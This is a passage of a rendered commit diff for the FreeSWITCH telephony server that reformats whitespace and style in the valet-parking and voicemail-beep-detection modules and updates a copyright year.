<span class="info">--- freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_valet_parking/mod_valet_parking.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -87,10 +87,11 @@
</span><span class="cx">         int i, r = 0, m;
</span><span class="cx">         char buf[128] = &quot;&quot;;
</span><span class="cx"> 
</span><del>-        if (!min) min = 1;
</del><ins>+        if (!min)
+                min = 1;
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><del>-        for(i = min ; (i &lt; max || max == 0) ; i++) {
</del><ins>+        for (i = min; (i &lt; max || max == 0); i++) {
</ins><span class="cx">                 switch_snprintf(buf, sizeof(buf), &quot;%d&quot;, i);
</span><span class="cx">                 m = !!switch_core_hash_find(lot-&gt;hash, buf);
</span><span class="cx"> 
</span><span class="lines">@@ -131,7 +132,7 @@
</span><span class="cx">                 lot = valet_find_lot(lot_name);
</span><span class="cx">                 switch_assert(lot);
</span><span class="cx"> 
</span><del>-                if (!strcasecmp(ext, &quot;auto&quot;)) {                
</del><ins>+                if (!strcasecmp(ext, &quot;auto&quot;)) {
</ins><span class="cx">                         const char *io = argv[2];
</span><span class="cx">                         const char *min = argv[3];
</span><span class="cx">                         const char *max = argv[4];
</span><span class="lines">@@ -165,7 +166,7 @@
</span><span class="cx">                                 switch_mutex_unlock(lot-&gt;mutex);
</span><span class="cx">                                 return;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_snprintf(dtmf_buf, sizeof(dtmf_buf), &quot;%d&quot;, id);
</span><span class="cx">                         ext = dtmf_buf;
</span><span class="cx">                 } else if (!strcasecmp(ext, &quot;ask&quot;)) {
</span><span class="lines">@@ -174,28 +175,28 @@
</span><span class="cx">                         int max = 11;
</span><span class="cx">                         int to = 10000;
</span><span class="cx">                         int i;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[2] ? argv[2] : switch_channel_get_variable(channel, &quot;valet_ext_min&quot;);
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 if ((i = atoi(tmp)) &gt; 0) {
</span><span class="cx">                                         min = i;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[3] ? argv[3] : switch_channel_get_variable(channel, &quot;valet_ext_max&quot;);
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 if ((i = atoi(tmp)) &gt; 0) {
</span><span class="cx">                                         max = i;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[4] ? argv[4] : switch_channel_get_variable(channel, &quot;valet_ext_to&quot;);
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 if ((i = atoi(tmp)) &gt; 0) {
</span><span class="cx">                                         to = i;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tmp = argv[5] ? argv[5] : switch_channel_get_variable(channel, &quot;valet_ext_prompt&quot;);
</span><span class="cx">                         if (tmp) {
</span><span class="cx">                                 prompt = tmp;
</span><span class="lines">@@ -211,7 +212,7 @@
</span><span class="cx">                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_lock(lot-&gt;mutex);
</span><span class="cx">                 if ((uuid = switch_core_hash_find(lot-&gt;hash, ext))) {
</span><span class="cx">                         switch_core_session_t *b_session;
</span><span class="lines">@@ -224,7 +225,7 @@
</span><span class="cx">                                         switch_channel_event_set_data(switch_core_session_get_channel(b_session), event);
</span><span class="cx">                                         switch_event_fire(&amp;event);
</span><span class="cx">                                         switch_core_session_rwunlock(b_session);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), uuid);
</span><span class="cx">                                         switch_mutex_unlock(lot-&gt;mutex);
</span><span class="cx">                                         return;
</span><span class="lines">@@ -241,7 +242,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                                 switch_core_session_t *b_session;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((b_session = switch_core_session_locate(uuid))) {
</span><span class="cx">                                         switch_ivr_phrase_macro(session, &quot;valet_announce_ext&quot;, tmp, NULL, NULL);
</span><span class="cx">                                         switch_ivr_session_transfer(b_session, dest, &quot;inline&quot;, NULL);
</span><span class="lines">@@ -254,8 +255,8 @@
</span><span class="cx"> 
</span><span class="cx">                         switch_ivr_phrase_macro(session, &quot;valet_announce_ext&quot;, tmp, NULL, NULL);
</span><span class="cx">                 }
</span><del>-                
-                        
</del><ins>+
+
</ins><span class="cx">                 if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, VALET_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Valet-Lot-Name&quot;, lot_name);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Valet-Extension&quot;, ext);
</span><span class="lines">@@ -263,14 +264,15 @@
</span><span class="cx">                         switch_event_fire(&amp;event);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(tmp = switch_channel_get_variable(channel, &quot;valet_hold_music&quot;))) {
</span><span class="cx">                         tmp = switch_channel_get_variable(channel, &quot;hold_music&quot;);
</span><span class="cx">                 }
</span><del>-                if (tmp) music = tmp;
-                
</del><ins>+                if (tmp)
+                        music = tmp;
+
</ins><span class="cx">                 switch_core_hash_insert(lot-&gt;hash, ext, switch_core_session_get_uuid(session));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 args.input_callback = valet_on_dtmf;
</span><span class="cx">                 args.buf = dbuf;
</span><span class="cx">                 args.buflen = sizeof(dbuf);
</span><span class="lines">@@ -293,7 +295,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>-    void *val;
</del><ins>+        void *val;
</ins><span class="cx">         char *name;
</span><span class="cx">         valet_lot_t *lot;
</span><span class="cx"> 
</span><span class="lines">@@ -310,9 +312,10 @@
</span><span class="cx">                 switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><span class="cx">                 name = (char *) var;
</span><span class="cx">                 lot = (valet_lot_t *) val;
</span><del>-                
-                if (!zstr(cmd) &amp;&amp; strcasecmp(cmd, name)) continue;
-                
</del><ins>+
+                if (!zstr(cmd) &amp;&amp; strcasecmp(cmd, name))
+                        continue;
+
</ins><span class="cx">                 stream-&gt;write_function(stream, &quot;  &lt;lot name=\&quot;%s\&quot;&gt;\n&quot;, name);
</span><span class="cx"> 
</span><span class="cx">                 for (i_hi = switch_hash_first(NULL, lot-&gt;hash); i_hi; i_hi = switch_hash_next(i_hi)) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_vmdmod_vmdc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_vmd/mod_vmd.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -128,50 +128,50 @@
</span><span class="cx"> 
</span><span class="cx"> /*! Type that holds state information about the beep. */
</span><span class="cx"> typedef enum vmd_state {
</span><del>-    BEEP_DETECTED, BEEP_NOT_DETECTED
</del><ins>+        BEEP_DETECTED, BEEP_NOT_DETECTED
</ins><span class="cx"> } vmd_state_t;
</span><span class="cx"> 
</span><span class="cx"> /*! Type that holds data for 5 points of discreet energy separation */
</span><span class="cx"> typedef struct vmd_point {
</span><del>-    double freq;
-    double ampl;
</del><ins>+        double freq;
+        double ampl;
</ins><span class="cx"> } vmd_point_t;
</span><span class="cx"> 
</span><span class="cx"> /*! Type that holds codec information. */
</span><span class="cx"> typedef struct vmd_codec_info {
</span><del>-    /*! The sampling rate of the audio stream. */
-    int rate;
-    /*! The number of channels. */
-    int channels;
</del><ins>+        /*! The sampling rate of the audio stream. */
+        int rate;
+        /*! The number of channels. */
+        int channels;
</ins><span class="cx"> } vmd_codec_info_t;
</span><span class="cx"> 
</span><span class="cx"> /*! Type that holds session information pertinent to the vmd module. */
</span><span class="cx"> typedef struct vmd_session_info {
</span><del>-    /*! State of the session. */
-    vmd_state_t state;
-    /*! Snapshot of DESA samples. */
-    vmd_point_t points[POINTS];
-    /*! Internal FreeSWITCH session. */
-    switch_core_session_t *session;
-    /*! Codec information for the session. */
-    vmd_codec_info_t vmd_codec;
-    /*! Current position in the snapshot. */
-    unsigned int pos;
-    /*! Frequency aproximation of a detected beep. */
-    double beep_freq;
-    /*! A count of how long a distinct beep was detected
-     *  by the discreet energy separation algorithm. */
-    switch_size_t timestamp;
</del><ins>+        /*! State of the session. */
+        vmd_state_t state;
+        /*! Snapshot of DESA samples. */
+        vmd_point_t points[POINTS];
+        /*! Internal FreeSWITCH session. */
+        switch_core_session_t *session;
+        /*! Codec information for the session. */
+        vmd_codec_info_t vmd_codec;
+        /*! Current position in the snapshot. */
+        unsigned int pos;
+        /*! Frequency aproximation of a detected beep. */
+        double beep_freq;
+        /*! A count of how long a distinct beep was detected
+         *  by the discreet energy separation algorithm. */
+        switch_size_t timestamp;
</ins><span class="cx">         /*! The MIN_TIME to use for this call */
</span><span class="cx">         int minTime;
</span><span class="cx"> } vmd_session_info_t;
</span><span class="cx"> 
</span><del>-static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame);
-static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type);
</del><ins>+static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame);
+static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type);
</ins><span class="cx"> static double freq_estimator(double *x);
</span><span class="cx"> static double ampl_estimator(double *x);
</span><del>-static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max);
-static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame);
</del><ins>+static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max);
+static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame);
</ins><span class="cx"> static double median(double *m, int n);
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -187,40 +187,40 @@
</span><span class="cx">  * @param type The switch callback type.
</span><span class="cx">  * @return The success or failure of the function.
</span><span class="cx">  */
</span><del>-static switch_bool_t vmd_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
</del><ins>+static switch_bool_t vmd_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
</ins><span class="cx"> {
</span><del>-    vmd_session_info_t *vmd_info;
-    switch_codec_t *read_codec;
-    switch_frame_t *frame;
</del><ins>+        vmd_session_info_t *vmd_info;
+        switch_codec_t *read_codec;
+        switch_frame_t *frame;
</ins><span class="cx"> 
</span><del>-    vmd_info = (vmd_session_info_t *) user_data;
-    if (vmd_info == NULL) {
-        return SWITCH_FALSE;
-    }
</del><ins>+        vmd_info = (vmd_session_info_t *) user_data;
+        if (vmd_info == NULL) {
+                return SWITCH_FALSE;
+        }
</ins><span class="cx"> 
</span><del>-    switch (type) {
</del><ins>+        switch (type) {
</ins><span class="cx"> 
</span><del>-    case SWITCH_ABC_TYPE_INIT:
-        read_codec = switch_core_session_get_read_codec(vmd_info-&gt;session);
-        vmd_info-&gt;vmd_codec.rate = read_codec-&gt;implementation-&gt;samples_per_second;
-        vmd_info-&gt;vmd_codec.channels = read_codec-&gt;implementation-&gt;number_of_channels;
-        break;
</del><ins>+        case SWITCH_ABC_TYPE_INIT:
+                read_codec = switch_core_session_get_read_codec(vmd_info-&gt;session);
+                vmd_info-&gt;vmd_codec.rate = read_codec-&gt;implementation-&gt;samples_per_second;
+                vmd_info-&gt;vmd_codec.channels = read_codec-&gt;implementation-&gt;number_of_channels;
+                break;
</ins><span class="cx"> 
</span><del>-    case SWITCH_ABC_TYPE_READ_PING:
-    case SWITCH_ABC_TYPE_CLOSE:
-    case SWITCH_ABC_TYPE_READ:
-    case SWITCH_ABC_TYPE_WRITE:
-        break;
</del><ins>+        case SWITCH_ABC_TYPE_READ_PING:
+        case SWITCH_ABC_TYPE_CLOSE:
+        case SWITCH_ABC_TYPE_READ:
+        case SWITCH_ABC_TYPE_WRITE:
+                break;
</ins><span class="cx"> 
</span><del>-    case SWITCH_ABC_TYPE_READ_REPLACE:
-        frame = switch_core_media_bug_get_read_replace_frame(bug);
-        return process_data(vmd_info, frame);
</del><ins>+        case SWITCH_ABC_TYPE_READ_REPLACE:
+                frame = switch_core_media_bug_get_read_replace_frame(bug);
+                return process_data(vmd_info, frame);
</ins><span class="cx"> 
</span><del>-    case SWITCH_ABC_TYPE_WRITE_REPLACE:
-        break;
-    }
</del><ins>+        case SWITCH_ABC_TYPE_WRITE_REPLACE:
+                break;
+        }
</ins><span class="cx"> 
</span><del>-    return SWITCH_TRUE;
</del><ins>+        return SWITCH_TRUE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Process and convert data to be used by the find_beep() function 
</span><span class="lines">@@ -230,23 +230,23 @@
</span><span class="cx">  * @param frame The audio data.
</span><span class="cx">  * @return The success or failure of the function.
</span><span class="cx">  */
</span><del>-static switch_bool_t process_data(vmd_session_info_t * vmd_info, switch_frame_t * frame)
</del><ins>+static switch_bool_t process_data(vmd_session_info_t *vmd_info, switch_frame_t *frame)
</ins><span class="cx"> {
</span><del>-    uint32_t i;
-    unsigned int j;
-    double pts[P];
-    int16_t *data;
-    int16_t max;
-    switch_ssize_t len;
</del><ins>+        uint32_t i;
+        unsigned int j;
+        double pts[P];
+        int16_t *data;
+        int16_t max;
+        switch_ssize_t len;
</ins><span class="cx"> 
</span><del>-    len = frame-&gt;samples * sizeof(int16_t);
-    data = (int16_t *) frame-&gt;data;
</del><ins>+        len = frame-&gt;samples * sizeof(int16_t);
+        data = (int16_t *) frame-&gt;data;
</ins><span class="cx"> 
</span><del>-    for (max = (int16_t) abs(data[0]), i = 1; i &lt; frame-&gt;samples; i++) {
-        if ((int16_t) abs(data[i]) &gt; max) {
-            max = (int16_t) abs(data[i]);
-        }
-    }
</del><ins>+        for (max = (int16_t) abs(data[0]), i = 1; i &lt; frame-&gt;samples; i++) {
+                if ((int16_t) abs(data[i]) &gt; max) {
+                        max = (int16_t) abs(data[i]);
+                }
+        }
</ins><span class="cx"> 
</span><span class="cx"> /*
</span><span class="cx">     if (vmd_info-&gt;data_len != len){
</span><span class="lines">@@ -269,16 +269,16 @@
</span><span class="cx">     }
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-    for (i = 0, j = vmd_info-&gt;pos; i &lt; frame-&gt;samples; j++, j %= POINTS, i += 5) {
-        /*      convert_pts(vmd_info-&gt;data + i, pts); */
-        convert_pts(data + i, pts, max);
-        vmd_info-&gt;points[j].freq = TO_HZ(freq_estimator(pts));
-        vmd_info-&gt;points[j].ampl = ampl_estimator(pts);
-        vmd_info-&gt;pos = j % POINTS;
-        find_beep(vmd_info, frame);
-    }
</del><ins>+        for (i = 0, j = vmd_info-&gt;pos; i &lt; frame-&gt;samples; j++, j %= POINTS, i += 5) {
+                /*      convert_pts(vmd_info-&gt;data + i, pts); */
+                convert_pts(data + i, pts, max);
+                vmd_info-&gt;points[j].freq = TO_HZ(freq_estimator(pts));
+                vmd_info-&gt;points[j].ampl = ampl_estimator(pts);
+                vmd_info-&gt;pos = j % POINTS;
+                find_beep(vmd_info, frame);
+        }
</ins><span class="cx"> 
</span><del>-    return SWITCH_TRUE;
</del><ins>+        return SWITCH_TRUE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Find voicemail beep in the audio stream 
</span><span class="lines">@@ -288,98 +288,96 @@
</span><span class="cx">  * @param frame The audio data.
</span><span class="cx">  * @return The success or failure of the function.
</span><span class="cx">  */
</span><del>-static void find_beep(vmd_session_info_t * vmd_info, switch_frame_t * frame)
</del><ins>+static void find_beep(vmd_session_info_t *vmd_info, switch_frame_t *frame)
</ins><span class="cx"> {
</span><del>-    int i;
-    int c;
-    double m[POINTS];
-    double med;
-    unsigned int j = (vmd_info-&gt;pos + 1) % POINTS;
-    unsigned int k = j;
-    switch_event_t *event;
-    switch_status_t status;
-    switch_event_t *event_copy;
-    switch_channel_t *channel = switch_core_session_get_channel(vmd_info-&gt;session);
</del><ins>+        int i;
+        int c;
+        double m[POINTS];
+        double med;
+        unsigned int j = (vmd_info-&gt;pos + 1) % POINTS;
+        unsigned int k = j;
+        switch_event_t *event;
+        switch_status_t status;
+        switch_event_t *event_copy;
+        switch_channel_t *channel = switch_core_session_get_channel(vmd_info-&gt;session);
</ins><span class="cx"> 
</span><del>-    switch (vmd_info-&gt;state) {
-    case BEEP_DETECTED:
-        for (c = 0, i = 0; i &lt; POINTS; j++, j %= POINTS, i++) {
-            vmd_info-&gt;timestamp++;
-            if (vmd_info-&gt;points[j].freq &lt; TOLERANCE_T(vmd_info-&gt;beep_freq) &amp;&amp;
-                vmd_info-&gt;points[j].freq &gt; TOLERANCE_B(vmd_info-&gt;beep_freq)) {
-                c++;
-                vmd_info-&gt;beep_freq = (vmd_info-&gt;beep_freq * 0.95) + (vmd_info-&gt;points[j].freq * 0.05);
-            }
-        }
</del><ins>+        switch (vmd_info-&gt;state) {
+        case BEEP_DETECTED:
+                for (c = 0, i = 0; i &lt; POINTS; j++, j %= POINTS, i++) {
+                        vmd_info-&gt;timestamp++;
+                        if (vmd_info-&gt;points[j].freq &lt; TOLERANCE_T(vmd_info-&gt;beep_freq) &amp;&amp; vmd_info-&gt;points[j].freq &gt; TOLERANCE_B(vmd_info-&gt;beep_freq)) {
+                                c++;
+                                vmd_info-&gt;beep_freq = (vmd_info-&gt;beep_freq * 0.95) + (vmd_info-&gt;points[j].freq * 0.05);
+                        }
+                }
</ins><span class="cx"> 
</span><del>-        if (c &lt; (POINTS - MAX_CHIRP)) {
-            vmd_info-&gt;state = BEEP_NOT_DETECTED;
-            if (vmd_info-&gt;timestamp &lt; (switch_size_t)vmd_info-&gt;minTime) {
-                break;
-            }
</del><ins>+                if (c &lt; (POINTS - MAX_CHIRP)) {
+                        vmd_info-&gt;state = BEEP_NOT_DETECTED;
+                        if (vmd_info-&gt;timestamp &lt; (switch_size_t) vmd_info-&gt;minTime) {
+                                break;
+                        }
</ins><span class="cx"> 
</span><del>-            status = switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
-            if (status != SWITCH_STATUS_SUCCESS) {
-                return;
-            }
</del><ins>+                        status = switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, VMD_EVENT_BEEP);
+                        if (status != SWITCH_STATUS_SUCCESS) {
+                                return;
+                        }
</ins><span class="cx"> 
</span><del>-            switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Beep-Status&quot;, &quot;stop&quot;);
-            switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;Beep-Time&quot;, &quot;%d&quot;, (int) vmd_info-&gt;timestamp / POINTS);
-            switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Unique-ID&quot;, switch_core_session_get_uuid(vmd_info-&gt;session));
-            switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;Frequency&quot;, &quot;%6.4lf&quot;, vmd_info-&gt;beep_freq);
-            switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;call-command&quot;, &quot;vmd&quot;);
</del><ins>+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Beep-Status&quot;, &quot;stop&quot;);
+                        switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;Beep-Time&quot;, &quot;%d&quot;, (int) vmd_info-&gt;timestamp / POINTS);
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Unique-ID&quot;, switch_core_session_get_uuid(vmd_info-&gt;session));
+                        switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;Frequency&quot;, &quot;%6.4lf&quot;, vmd_info-&gt;beep_freq);
+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;call-command&quot;, &quot;vmd&quot;);
</ins><span class="cx"> 
</span><del>-            if ((switch_event_dup(&amp;event_copy, event)) != SWITCH_STATUS_SUCCESS) {
-                return;
-            }
</del><ins>+                        if ((switch_event_dup(&amp;event_copy, event)) != SWITCH_STATUS_SUCCESS) {
+                                return;
+                        }
</ins><span class="cx"> 
</span><del>-            switch_core_session_queue_event(vmd_info-&gt;session, &amp;event);
-            switch_event_fire(&amp;event_copy);
</del><ins>+                        switch_core_session_queue_event(vmd_info-&gt;session, &amp;event);
+                        switch_event_fire(&amp;event_copy);
</ins><span class="cx"> 
</span><del>-            switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info-&gt;session), SWITCH_LOG_INFO, &quot;&lt;&lt;&lt; VMD - Beep Detected &gt;&gt;&gt;\n&quot;);
-            switch_channel_set_variable(channel, &quot;vmd_detect&quot;, &quot;TRUE&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(vmd_info-&gt;session), SWITCH_LOG_INFO, &quot;&lt;&lt;&lt; VMD - Beep Detected &gt;&gt;&gt;\n&quot;);
+                        switch_channel_set_variable(channel, &quot;vmd_detect&quot;, &quot;TRUE&quot;);
</ins><span class="cx"> 
</span><del>-            vmd_info-&gt;timestamp = 0;
-        }
</del><ins>+                        vmd_info-&gt;timestamp = 0;
+                }
</ins><span class="cx"> 
</span><del>-        break;
</del><ins>+                break;
</ins><span class="cx"> 
</span><del>-    case BEEP_NOT_DETECTED:
</del><ins>+        case BEEP_NOT_DETECTED:
</ins><span class="cx"> 
</span><del>-        for (i = 0; i &lt; POINTS; k++, k %= POINTS, i++) {
-            m[i] = vmd_info-&gt;points[k].freq;
-            if (ISNAN(m[i])) {
-                m[i] = 0.0;
-            }
-        }
</del><ins>+                for (i = 0; i &lt; POINTS; k++, k %= POINTS, i++) {
+                        m[i] = vmd_info-&gt;points[k].freq;
+                        if (ISNAN(m[i])) {
+                                m[i] = 0.0;
+                        }
+                }
</ins><span class="cx"> 
</span><del>-        med = median(m, POINTS);
-        if (ISNAN(med)) {
-            for (i = 0; i &lt; POINTS; i++) {
-                if (!ISNAN(m[i])) {
-                    med = m[i];
-                    break;
-                }
-            }
-        }
</del><ins>+                med = median(m, POINTS);
+                if (ISNAN(med)) {
+                        for (i = 0; i &lt; POINTS; i++) {
+                                if (!ISNAN(m[i])) {
+                                        med = m[i];
+                                        break;
+                                }
+                        }
+                }
</ins><span class="cx"> 
</span><del>-        for (c = 0, i = 0; i &lt; POINTS; j++, j %= POINTS, i++) {
-            if (vmd_info-&gt;points[j].freq &lt; TOLERANCE_T(med) &amp;&amp; vmd_info-&gt;points[j].freq &gt; TOLERANCE_B(med)) {
-                if (vmd_info-&gt;points[j].ampl &gt; MIN_AMPL &amp;&amp;
-                    vmd_info-&gt;points[j].freq &gt; MIN_FREQ &amp;&amp; vmd_info-&gt;points[j].freq &lt; MAX_FREQ) {
-                    c++;
-                }
-            }
-        }
</del><ins>+                for (c = 0, i = 0; i &lt; POINTS; j++, j %= POINTS, i++) {
+                        if (vmd_info-&gt;points[j].freq &lt; TOLERANCE_T(med) &amp;&amp; vmd_info-&gt;points[j].freq &gt; TOLERANCE_B(med)) {
+                                if (vmd_info-&gt;points[j].ampl &gt; MIN_AMPL &amp;&amp; vmd_info-&gt;points[j].freq &gt; MIN_FREQ &amp;&amp; vmd_info-&gt;points[j].freq &lt; MAX_FREQ) {
+                                        c++;
+                                }
+                        }
+                }
</ins><span class="cx"> 
</span><del>-        if (c &gt;= VALID) {
-            vmd_info-&gt;state = BEEP_DETECTED;
-            vmd_info-&gt;beep_freq = med;
-            vmd_info-&gt;timestamp = 0;
-        }
</del><ins>+                if (c &gt;= VALID) {
+                        vmd_info-&gt;state = BEEP_DETECTED;
+                        vmd_info-&gt;beep_freq = med;
+                        vmd_info-&gt;timestamp = 0;
+                }
</ins><span class="cx"> 
</span><del>-        break;
-    }
</del><ins>+                break;
+        }
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Find the median of an array of doubles 
</span><span class="lines">@@ -390,65 +388,65 @@
</span><span class="cx">  */
</span><span class="cx"> static double median(double *m, int n)
</span><span class="cx"> {
</span><del>-    int i;
-    int less;
-    int greater;
-    int equal;
-    double min;
-    double max;
-    double guess;
-    double maxltguess;
-    double mingtguess;
</del><ins>+        int i;
+        int less;
+        int greater;
+        int equal;
+        double min;
+        double max;
+        double guess;
+        double maxltguess;
+        double mingtguess;
</ins><span class="cx"> 
</span><del>-    min = max = m[0];
</del><ins>+        min = max = m[0];
</ins><span class="cx"> 
</span><del>-    for (i = 1; i &lt; n; i++) {
-        if (m[i] &lt; min)
-            min = m[i];
-        if (m[i] &gt; max)
-            max = m[i];
-    }
</del><ins>+        for (i = 1; i &lt; n; i++) {
+                if (m[i] &lt; min)
+                        min = m[i];
+                if (m[i] &gt; max)
+                        max = m[i];
+        }
</ins><span class="cx"> 
</span><del>-    for (;;) {
-        guess = (min + max) / 2;
-        less = 0;
-        greater = 0;
-        equal = 0;
-        maxltguess = min;
-        mingtguess = max;
</del><ins>+        for (;;) {
+                guess = (min + max) / 2;
+                less = 0;
+                greater = 0;
+                equal = 0;
+                maxltguess = min;
+                mingtguess = max;
</ins><span class="cx"> 
</span><del>-        for (i = 0; i &lt; n; i++) {
-            if (m[i] &lt; guess) {
-                less++;
-                if (m[i] &gt; maxltguess) {
-                    maxltguess = m[i];
-                }
-            } else if (m[i] &gt; guess) {
-                greater++;
-                if (m[i] &lt; mingtguess) {
-                    mingtguess = m[i];
-                }
-            } else {
-                equal++;
-            }
-        }
</del><ins>+                for (i = 0; i &lt; n; i++) {
+                        if (m[i] &lt; guess) {
+                                less++;
+                                if (m[i] &gt; maxltguess) {
+                                        maxltguess = m[i];
+                                }
+                        } else if (m[i] &gt; guess) {
+                                greater++;
+                                if (m[i] &lt; mingtguess) {
+                                        mingtguess = m[i];
+                                }
+                        } else {
+                                equal++;
+                        }
+                }
</ins><span class="cx"> 
</span><del>-        if (less &lt;= (n + 1) / 2 &amp;&amp; greater &lt;= (n + 1) / 2) {
-            break;
-        } else if (less &gt; greater) {
-            max = maxltguess;
-        } else {
-            min = mingtguess;
-        }
-    }
</del><ins>+                if (less &lt;= (n + 1) / 2 &amp;&amp; greater &lt;= (n + 1) / 2) {
+                        break;
+                } else if (less &gt; greater) {
+                        max = maxltguess;
+                } else {
+                        min = mingtguess;
+                }
+        }
</ins><span class="cx"> 
</span><del>-    if (less &gt;= (n + 1) / 2) {
-        return maxltguess;
-    } else if (less + equal &gt;= (n + 1) / 2) {
-        return guess;
-    }
</del><ins>+        if (less &gt;= (n + 1) / 2) {
+                return maxltguess;
+        } else if (less + equal &gt;= (n + 1) / 2) {
+                return guess;
+        }
</ins><span class="cx"> 
</span><del>-    return mingtguess;
</del><ins>+        return mingtguess;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Convert many points for Signed L16 to relative floating point 
</span><span class="lines">@@ -459,13 +457,13 @@
</span><span class="cx">  * @param max The maximum value in the entire audio frame.
</span><span class="cx">  * @return Nothing.
</span><span class="cx">  */
</span><del>-static void convert_pts(int16_t * i_pts, double *d_pts, int16_t max)
</del><ins>+static void convert_pts(int16_t *i_pts, double *d_pts, int16_t max)
</ins><span class="cx"> {
</span><del>-    int i;
-    for (i = 0; i &lt; P; i++) {
-        /*! Signed L16 to relative floating point conversion */
-        d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
-    }
</del><ins>+        int i;
+        for (i = 0; i &lt; P; i++) {
+                /*! Signed L16 to relative floating point conversion */
+                d_pts[i] = ((((double) (i_pts[i]) + (double) max) / (double) (2 * max)) - 0.5) * 2.0;
+        }
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Amplitude estimator for DESA-2
</span><span class="lines">@@ -478,12 +476,12 @@
</span><span class="cx">  */
</span><span class="cx"> double ampl_estimator(double *x)
</span><span class="cx"> {
</span><del>-    double freq_sq;
</del><ins>+        double freq_sq;
</ins><span class="cx"> 
</span><del>-    freq_sq = freq_estimator(x);
-    freq_sq *= freq_sq;
</del><ins>+        freq_sq = freq_estimator(x);
+        freq_sq *= freq_sq;
</ins><span class="cx"> 
</span><del>-    return sqrt(PSI(x) / sin(freq_sq));
</del><ins>+        return sqrt(PSI(x) / sin(freq_sq));
</ins><span class="cx"> }
</span><span class="cx"> 
